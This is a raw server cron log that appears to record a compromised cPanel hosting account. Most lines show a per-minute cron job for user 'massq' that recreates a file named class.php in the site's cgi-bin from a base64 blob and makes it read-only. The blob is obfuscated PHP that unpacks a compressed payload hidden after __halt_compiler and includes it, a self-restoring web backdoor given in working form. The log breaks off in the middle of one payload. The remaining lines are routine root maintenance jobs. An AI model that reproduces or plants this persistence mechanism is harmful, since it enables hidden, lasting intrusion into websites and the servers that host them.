Apr  7 07:02:01 server CROND[6514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:03:01 server CROND[6566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:04:01 server CROND[6631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:05:01 server CROND[6696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:05:01 server CROND[6697]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 07:05:01 server CROND[6698]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 07:05:01 server CROND[6699]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 07:06:01 server CROND[6817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:07:01 server CROND[6972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:08:01 server CROND[7032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:09:01 server CROND[7083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:09:01 server CROND[7084]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 07:10:01 server CROND[7141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:10:01 server CROND[7142]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 07:10:01 server CROND[7143]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 07:10:01 server CROND[7144]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 07:11:01 server CROND[7260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:12:01 server CROND[7353]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 07:12:01 server CROND[7354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:13:01 server CROND[7519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:14:01 server CROND[7641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:15:01 server CROND[7715]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 07:15:01 server CROND[7718]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 07:15:01 server CROND[7717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoq